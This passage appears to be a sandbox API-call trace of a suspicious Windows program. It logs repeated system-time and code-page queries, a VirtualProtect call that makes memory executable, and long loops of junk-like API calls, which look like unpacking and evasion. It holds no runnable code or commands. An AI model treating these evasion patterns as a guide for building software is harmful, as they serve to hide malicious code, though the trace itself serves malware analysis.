lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.765] GetACP () returned 0x4e4 [0051.765] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.766] GetACP () returned 0x4e4 [0051.766] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.767] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.767] GetACP () returned 0x4e4 [0051.874] VirtualProtect (in: lpAddress=0x315ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.875] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.876] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.877] AddAtomA (lpString=0x0) returned 0x0 [0051.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.878] AddAtomA (lpString=0x0) returned 0x0 [0051.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.879] AddAtomA (lpString=0x0) returned 0x0 [0051.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.880] AddAtomA (lpString=0x0) returned 0x0 [0051.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.881] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification 